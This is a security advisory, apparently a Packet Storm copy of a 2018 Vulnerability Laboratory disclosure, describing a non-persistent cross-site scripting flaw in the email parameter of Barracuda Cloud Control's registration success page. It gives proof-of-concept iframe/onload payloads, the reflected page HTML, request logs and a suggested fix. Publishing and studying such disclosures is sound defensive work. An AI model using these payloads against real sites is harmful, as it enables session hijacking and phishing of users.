Lucene search

packetstormBenjamin Kunz MejriPACKETSTORM:148599
HistoryJul 18, 2018 - 12:00 a.m.

Barracuda Cloud Control Cross Site Scripting

Benjamin Kunz Mejri
`Document Title:  
Barracuda Cloud Control - Cross Site Vulnerability  
References (Source):  
Release Date:  
Vulnerability Laboratory ID (VL-ID):  
Common Vulnerability Scoring System:  
Vulnerability Class:  
Cross Site Scripting - Non Persistent  
Current Estimated Price:  
500a! - 1.000a!  
Product & Service Introduction:  
The Barracuda Control Center is a comprehensive cloud-based service that  
enables administrators to monitor and configure multiple  
Barracuda Networks products from a single console. With the Barracuda  
Control Center, you can check the health of all connected  
devices, run reports that are generated by gathering data from all the  
devices, and assign roles with varied permissions to different  
types of users. The powerful Web interface of the Barracuda Control  
Center provides for convenient configuration and management of  
multiple Barracuda Networks device settings, while also providing a view  
of each device Web interface for individual configuration  
or reporting. No need to install software or deploy hardware. Key  
statistics can be viewed by device type at a glance on the Status  
page of the Web interface with the ability to drill down for more detail  
into the individual Web interface for each connected device.  
(Copy of the Vendor Homepage:  
Abstract Advisory Information:  
The vulnerability laboratory core research team discovered a cross site  
vulnerability in the official Barracuda Networks Cloud Control  
Vulnerability Disclosure Timeline:  
2018-07-17: Public Disclosure (Vulnerability Laboratory)  
Discovery Status:  
Affected Product(s):  
Barracuda Networks  
Product: Cloud Control Center  
Exploitation Technique:  
Severity Level:  
Authentication Type:  
No authentication (guest)  
User Interaction:  
Low User Interaction  
Disclosure Type:  
Responsible Disclosure Program  
Technical Details & Description:  
A client-side cross site scripting vulnerability has been discovered in  
the official Barracuda Networks Cloud Control v7.1.1.003 appliance  
The cross site vulnerability allows remote attackers to inject own  
malicious script codes to client-side browser to web-application  
requests to compromise  
session credentials or client-side web context.  
The cross site scripting web vulnerability is located in the `email`  
parameter of the `./new_user/success/` registration module. Remote  
attackers with  
knowledge about an exisiting email are able to attach the exisiting  
email with a payload to the thanks page request. Thus allows the remote  
attacker to  
trigger a client-side cross site scripting issue within the thank you  
page of the barracuda cloud control registration mechanism. The request  
method to  
inject is GET and the attack vector is located on the client-side of the  
online service web-application.  
The security risk of the cross site scripting web vulnerability is  
estimated as medium with a cvss (common vulnerability scoring system)  
count of 3.3.  
Exploitation of the client-side cross site web vulnerability requires no  
privileged web-application user account and low or medium user interaction.  
Successful exploitation of the vulnerability results in non-persistent  
phishing, session hijacking, non-persistent external redirect to malicious  
sources and client-side manipulation of affected or connected web module  
Request Method(s):  
[+] GET  
Vulnerable Module(s):  
[+] ./new_user/success/  
Vulnerable Parameter(s):  
[+] email  
Proof of Concept (PoC):  
The cross site scripting vulnerability can be exploited by remote  
attackers without privileged web-application user account and with low  
user interaction.  
For security demonstration or to reproduce the vulnerability follow the  
provided information and steps below to continue.  
Standard: URL  
PoC: URL  
src=./evil.source onload=alert(document.cookie) <  
PoC: Exploit  
<title>Barracuda Networks Cloud Control v7.1.1.003 - Remote Cross Site  
Scripting Vulnerability</title>  
src=./evil.source onload=alert(document.cookie) < %00>  
src=./evil.source onload=alert(document.domain) < %00>  
PoC: Thank You - Registration Page  
<div id="cui-content-inner">  
<!-- cui-title: Thank You > Barracuda Networks --><!-- cui-css:  
/include/css/cloud/new_account_success.css -->  
<div class="cui-form-signin-logo"></div>  
<table class="cui-form-signin-outer"><tbody><tr>  
<td class="cui-form-signin-wrapper">  
<div class="cui-form-signin">  
<div class="cui-form-signin-bitemark"></div>  
<h2 class="cui-page-title">Thank You</h2>   
<div class="cui-page-content" id="" style="top: 43px;">  
<div class="cui-page-module page_module">  
<div class="create_success">  
<h2>Your Barracuda Networks user has been created.</h2>  
<p>Please follow the instructions emailed to <b>[email protected]  
20%3E%3Ca%20%3E%20>"<%20<iframe src=./evil.source  
onload=alert(document.domain) < %00></b>  
to log in and create an account.</p>  
<style type="text/css">.create_success {  
padding: 15px;  
background: url('/cui/images/checkbox.png') center 50px no-repeat;  
text-align: center;  
.create_success h2 {  
font-size: 150%;  
padding-bottom: 90px;  
.create_success p {  
font-size: 125%;  
text-align: center;  
--- PoC Session Logs [GET] ---  
Status: 200[OK]  
src=./evil.source onload=alert(document.domain) < %00>  
Mime Type[text/html]  
Request Header:  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0)  
Gecko/20100101 Firefox/49.0]  
CLOUD_LOCALE=en_US; BNI_CLOUD_AT=0000000000000000000000001f20800a00005000;  
_ga=GA1.2.1374742774.1477554133; _gat=1; mfa=0;  
CLOUD_LAST_LOCALE=en_US; cloud_session=44kti8ik7qdnb57kdfftfehje3]  
Response Header:  
Cache-Control[no-store, no-cache, must-revalidate, post-check=0,  
Set-Cookie[CLOUD_LOCALE=en_US; expires=Tue, 25-Apr-2017 07:44:45  
GMT; Max-Age=15552000; path=/; domain=.localhost:8000; secure  
cloud_session=44kti8ik7qdnb57kdfftfehje3; path=/; domain=.localhost:8000  
BNI_CLOUD_AT=0000000000000000000000001f20800a00005000; Path=/]  
Content-Type[text/html; charset=UTF-8]  
Solution - Fix & Patch:  
The vulnerability can be patched by a parse of the vulnerable email  
parameter in the thank you registration page of barracuda networks cc  
Parse in the vulnerable output location the source to prevent the  
execution of the client-side injected payloads. Disallow the usage of  
special chars  
on parameter requests via GET method.  
Security Risk:  
The security risk of the client-side cross site scripting web  
vulnerability in the cloud control web-application is estimated as medium.  
Credits & Authors:  
Benjamin K.M. (Vulnerability Laboratory Core Research Team) -  
Disclaimer & Information:  
The information provided in this advisory is provided as it is without  
any warranty. Vulnerability Lab disclaims all warranties, either  
expressed or  
implied, including the warranties of merchantability and capability for  
a particular purpose. Vulnerability-Lab or its suppliers are not liable  
in any  
case of damage, including direct, indirect, incidental, consequential  
loss of business profits or special damages, even if Vulnerability Labs  
or its  
suppliers have been advised of the possibility of such damages. Some  
states do not allow the exclusion or limitation of liability mainly for  
or consequential damages so the foregoing limitation may not apply. We  
do not approve or encourage anybody to break any licenses, policies, deface  
websites, hack into databases or trade with stolen data. We have no need  
for criminal activities or membership requests. We do not publish  
or vulnerabilities of religious-, militant- and racist-  
hacker/analyst/researcher groups or individuals. We do not publish trade  
researcher mails,  
phone numbers, conversations or anything else to journalists,  
investigative authorities or private individuals.  
Domains: - -  
Programs: - -  
Feeds: - -  
Social: - -  
Any modified copy or reproduction, including partially usages, of this  
file, resources or information requires authorization from Vulnerability  
Permission to electronically redistribute this alert in its unmodified  
form is granted. All other rights, including the use of other media, are  
reserved by  
Vulnerability Lab Research Team or its suppliers. All pictures, texts,  
advisories, source code, videos and other information on this website is  
of vulnerability-lab team & the specific authors or managers. To record,  
list, modify, use or edit our material contact (admin@) to get an ask  
Copyright A(c) 2018 | Vulnerability Laboratory - [Evolution  
Security GmbH]aC/